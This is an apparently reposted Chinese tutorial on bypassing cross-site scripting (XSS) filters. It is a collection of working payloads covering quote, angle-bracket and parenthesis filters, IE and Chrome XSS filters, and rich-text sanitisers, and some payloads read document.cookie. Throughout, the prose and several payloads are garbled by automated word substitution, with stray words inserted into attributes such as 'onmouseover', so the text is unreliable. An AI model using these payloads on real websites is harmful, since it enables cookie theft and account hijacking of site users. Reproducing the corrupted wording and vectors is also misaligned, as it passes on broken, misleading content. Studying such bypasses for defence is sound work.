|
|
|
联系客服020-83701501

跨站测试与利用中的绕过技术

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
跨站测试与操纵中的绕过技能

1.1 bypass Char

个体有安全认识的法度模范员经常会对输入截至一定的过滤,比拟常见的是针对某一要害标志截至过滤,好比“<”或者或许“>”,这种动作良多时分是无奈贯注防备进攻的,更安全的动作是经由编程说话供给的函数在输出的时分截至过滤。

本节次要针对单字符过滤截至研究,分为引号、尖括号、括号这三个标志截至研究。

1.1.1 引号

在跨站测试中良多的vector(即进攻向量)大家是不包含引号的,例如下面的一些vector。可是在操纵中经常需要应用引号,假如对引号截至了过滤,或者采纳如下法度截至绕过。

Default
12345 vector:&lt;script&gt;alert(/ourren_demo/)&lt;/script&gt;&lt;iframe/onload=alert(/ourren_demo/)&gt;&lt;img src=x onerror=alert(/ourren_demo/)&gt;&lt;p onmou搜索引擎美化ver=alert(/ourren_demo/)&gt;ourren_demo here.&lt;/p&gt;

1)String.fromCharCode

fromCharCode或者对操纵代码中的引号截至编码处置惩罚,可是需要操纵eval函数分离截至应用,例如:

Default
123 &lt;script&gt;alert('ourren_demo')&lt;/script&gt;-----&gt;&lt;script&gt;eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))&lt;/script&gt;

2)location.hash

将带有引号的内容放在location.hash中,真实这个也或者冲破跨站长度的管束。

Default
1 &lt;script&gt;eval(location.hash.slice(1))&lt;/script&gt;#alert('a')

1.1.2 尖括号

个体法度模范员为了偷懒都只会过滤尖括号,因而尖括号在跨站过滤中遇到情况最多。个别情况下假如输入没有发扬阐发在其他标签里,那么根柢上是没有动作截至进攻的,可是假如是输出到其他标签里,则或者分离凹凸标签截至如下测试:

1)事项函数

常用的一些事项函数有:onerror、onmou搜索引擎美化ver、onload等(同时或者关注下HTML5新标签),需要的时分或者对JavaScript的事项函数截至fuzz。

Default
1234 &lt;img src=x onerror=alert(/ourren_demo/)&gt;&lt;p onmou搜索引擎美化ver=alert(/ourren_demo/)&gt;ourren_demo here.&lt;/p&gt;&lt;frameset onload=alert(/ourren_demo/)&gt;&lt;body onload=alert(/ourren_demo/)&gt;

2)style与expression

经由标签的style花样截至跨站(测试中只需IE失利,同时还得考虑filter标题问题)。

Default
1 &lt;div style="width:expression(alert('ourren_demo'));"&gt;

3)?JavaScript伪协定

JavaScript伪协定截至绕过。(仅IE)

Default
1 &lt;img src=javascript:alert('ourren_demo')&gt;

1.1.3 括号

假如测试中创造括号被过滤了,或者或许无奈注入括号,或者截至如下测试:

1)内部文件

经由src引入内部文件,而操纵代码放在内部文件中(其中内部文件的后缀或者不为js)。

Default
12 &lt;script src='1.js'&gt;&lt;/script&gt;&lt;script src='2.jpg'&gt;&lt;/script&gt;

2)hex、dec编码

操纵十六进制与十进制截至编码。

Default
12 &lt;div style="&amp;#119&amp;#105&amp;#100&amp;#116&amp;#104&amp;#58&amp;#101&amp;#120&amp;#112&amp;#114&amp;#101&amp;#115&amp;#115&amp;#105&amp;#111&amp;#110&amp;#40&amp;#97&amp;#108&amp;#101&amp;#114&amp;#116&amp;#40&amp;#39&amp;#120&amp;#115&amp;#115&amp;#101&amp;#114&amp;#39&amp;#41&amp;#41"&gt;xsser&lt;/div&gt;

1.2 bypass filter

针对跨站标题问题日趋紧张,涉猎器厂商从自身涉猎器安全动身推出了各自的跨站过滤器。可是这种过滤器根柢上只反对反射型跨站,其他类型跨站根柢不受影响。

各种涉猎器驳回的警省机制各不近似。反射型跨站警省方面:Firefox根柢没甚么警省,而IE和chrome都有各自的警省机制,而且都很难绕过,这里次要总结下现有的一些或者绕过机制。

1.2.1 IE Filter

IE从IE7就反对XSS Filter,其个人架构可见参考文献1,正则娶亲部门或者拜会文献2。现实处置惩罚步伐可分为三步:起首对IE截至启发式过滤(heuristic filters,正则娶亲);假如在HTTP申请中娶亲到这些特征,那么就做一个动态署名(create dynamic signature);假如在HTTP相应中有原有的署名,那么就截至变革修改(neuter response)。在IE全补丁下截至测试,现有宣布的绕过技能根柢上很少,先总结如下:

1)<a href=>

针对泛泛的反射型跨站,或者操纵A标签和“sc%0aript”完成绕过,无非需要用户交互,这里需要美工师咯。其假相理是页面输出后这两个页面属于抗衡域,因而不会孕育产生过滤。假如href轮廓的地点是分歧域就会孕育产生过滤。

Default
1234 &lt;a href="xss.php?a=&lt;sc%0aript&gt;alert(/ourren_demo/)&lt;/script&gt;"&gt;&lt;a href="xss.php?a=&lt;sc%0aript&gt;alert(/ourren_demo/)&lt;/script&gt;"&gt;&lt;div style="position: absolute; left: 0px; top: 0px; height: 1000px; width: 1000px;padding: 1em;background:black;text-align: center;"&gt;click to continue&lt;/div&gt;&lt;/a&gt;

2)utf7

经由UTF7-BOM完成注入代码,全补丁情况下只需当header里编码为utf-7才干失利,或者参考文献3。

Default
1 %2BACIAPgA8-script%2BAD4-alert%28/ourren_demo/%29%2BADw-%2Fscript%2BAD4APAAi-&amp;oe=Windows-31J

3) Flash

在 www.91ri.org域名下用iframe嵌入baidu.com的flash XSS文件。当受害者打开了baidu.com的域名时,我们或者失利获取其在www.91ri.org的cookies数据,拜会文献8。

测试代码如下(IE):

Default
12 &lt;iframe/src="/uploads/allimg/191106/0934343300-4.jpg(function(){location.href=%22javascript:'&lt;script&gt;alert(document.cookie)&lt;/script&gt;'%22})()"&gt;&lt;/iframe&gt;

在chrome中,或者或许会导致涉猎器解体,或者改用以下代码。

Default
12 &lt;iframe/src="/uploads/allimg/191106/0934343300-4.jpg(function(){alert(document.cookie)})()"&gt;&lt;/iframe&gt;

1.2.2 chrome filter

chrome涉猎器针对xss过滤规则规矩跟IE有比拟大的分辨,分歧版本的chrome测试也会分歧,现有的资料或者参考文献4、5。

1)??data协定

Default
1234567 ?vuln=&lt;a href="javascript:alert(document.cookie);"&gt;click&lt;/a&gt; //会拦挡--&gt;转换成  &lt;a href="javascript:void(0)"&gt;click&lt;/a&gt;//bypass?vuln=&lt;a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnSGVsbG8gd29ybGQhJyk8L3NjcmlwdD4="&gt;click&lt;a&gt;-&gt;OK

1.3 bypass richtext

富文本常见类别有留言,日记或者或许邮件等。与个别的跨站较量它或者应用现有的标签截至测试阐发。个别过滤机制分为两种:黑名单、白名单,这两类机制性质凡是基于正则娶亲截至过滤,因而在测试进程中需要比较输入和输出,此掉队行针对性变动。

常见测试流程:输入常见标签和事项——>可否有具有的标签没有过滤——->变形或者或许阐发其属性

标签:object, applet, base, link, meta, import, embed, vmlframe, iframe, script, style, isindex, form,textarea,

字符:javascript:, vbscript:

事项:onload,onerror,on*

1.3.1 绕过规则规矩

本小节将一些常见的一些变动规则规矩截至了归类,现实测试平分离多种动作截至组合测试。

?1)未递归过滤

良多富文本过滤凡是针对要害字过滤,可是没有截至递归过滤,导致过滤后的结果重新形成新的标签,例如:

Default
12 &lt;ifra&lt;iframe&gt;me&gt;之------过滤------&lt;iframe&gt;----------&lt;iframe&gt;&lt;s&lt;script&gt;&lt;/script&gt;cript&gt;-----过滤---&lt;script&gt;----------&lt;script&gt;&lt;/script&gt;

2)编码

操纵字符的十六进制和十进制编码截至绕过要害字。由于expression只需IE能实行,因而仅限于IE。

Default
123456 &lt;div style="width:expression(alert(/ourren_demo/))"&gt;ourren_demo&lt;/div&gt; &lt;div style="width:?065xpression(alert(/ourren_demo/))"&gt;ourren_demo&lt;/div&gt;//两次分歧类型编码&lt;div style="width:?065xpressio6e(alert(/ourren_demo/))"&gt;ourren_demo&lt;/div&gt; &lt;div style="&amp;#119&amp;#105&amp;#100&amp;#116&amp;#104&amp;#58&amp;#101&amp;#120&amp;#112&amp;#114&amp;#101&amp;#115&amp;#115&amp;#105&amp;#111&amp;#110&amp;#40&amp;#97&amp;#108&amp;#101&amp;#114&amp;#116&amp;#40&amp;#39&amp;#120&amp;#115&amp;#115&amp;#101&amp;#114&amp;#39&amp;#41&amp;#41"&gt;xsser&lt;/div&gt;

3)不凡字符

在结构的vector中或者插入tab、换行、等其他空缺字符或者或许”/**”绕过要害字娶亲,根柢上也只限于IE。

Default
123 &lt;img src="java   scr ipt:alert(/ourren_demo/)"&gt;  两次tab,ie6&lt;div style="width:exp/奸通奸骗*/ression(alert(/ourren_demo/))"&gt;ourren_demo&lt;/div&gt;

4)特别见协定

操纵object标签,将date属性数据截至base64编码绕过要害数据,同时object标签也是经常被遗忘的标签。

Default
1 &lt;object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgvaW5zaWdodC1sYWJzLyk8L3NjcmlwdD4="&gt;

5)HTML5

操纵HTML5新标签或者或许新属性截至绕过,相对而言这种操纵要求的环境较量较拟苛刻,详细见参考文献6。

新标签:<button>,<video>,<audio>,<article>,<footer>,<nav>

新属性:autocomplete, autofocus, pattern ..etc

Default
12 &lt;input onfocus=write(1) autofocus&gt;&lt;video poster=javascript:alert(1)//&gt;&lt;/video&gt;

6)涉猎器方面

或者从涉猎器剖析角度截至考虑,需要涉猎器剖析方面截至深刻阐发,此掉队行改进与阐发,供给几个这种的vector。

// IE的注解动作

Default
12 &lt;!--[if IE]&gt;&lt;img src=# width=0 height=0 onerror=alert(/ourren_demo/)&gt;&lt;![endif]--&gt; &lt;comment&gt;&lt;img src="&lt;/comment&gt;&lt;img src=x onerror=alert(/ourren_demo/)//"&gt;

1.3.2 操纵技巧

在现实操纵中经常会遇到一些其它标题问题,好比说代码死循环,长度不敷用等先将其总结如下:

?????? 1)expression

由于expression属性比拟不凡,同时只反对IE,而真实行相等于一个死循环的EVAL函数,同时style标志里不能泛起”;”字符,也便是不能结构多条连接在一起的javascript,因而结构出如下语句:

Default
123456 &lt;DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf('Cookie1=') == -1){document.cookie='Cookie1=RAY;expires='+Then.toGMTString();alert(/ourren_demo/);}"&gt;//设置一个COOKIE在10秒后见效,并在这条COOKIE语句中实行其他语句或函数。也或者经由window对象来完成:&lt;div style="width:expression((window.x==1)?'':(window.x=1,alert(/ourren_demo/)))"&gt;xsser&lt;/div&gt;

2)长度限制

这个在”冲破XSS字符数量限制实行任意JS代码”一文中有详细讲解,参考文献7。虽然在反对HTML5的涉猎器还或者操纵下本地存储。

参考文献

1.http://blogs.technet.com/b/srd/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx

2. Abusing Internet Explorer 8′s XSS Filters.pdf

3.?http://hi.baidu.com/thanks4sec/blog/item/1b06348ae87e2cb10df4d27c.html

4.?http://evilcos.me/?p=60

5.?http://hi.baidu.com/rayh4c/blog/item/c3fb8d0a6bf93422b1351ddc.html

6.?http://html5sec.org/

7.?http://huaidan.org/pstzine/0×03/txt/PSTZine_0x03_0x04.txt

8.?http://zone.wooyun.org/content/368

本文转自ourren作者youstar,由网络安全攻防研究室(www.91ri.org)新闻安全小组征集整顿,转载请阐明来由。

数安新闻+更多

证书相关+更多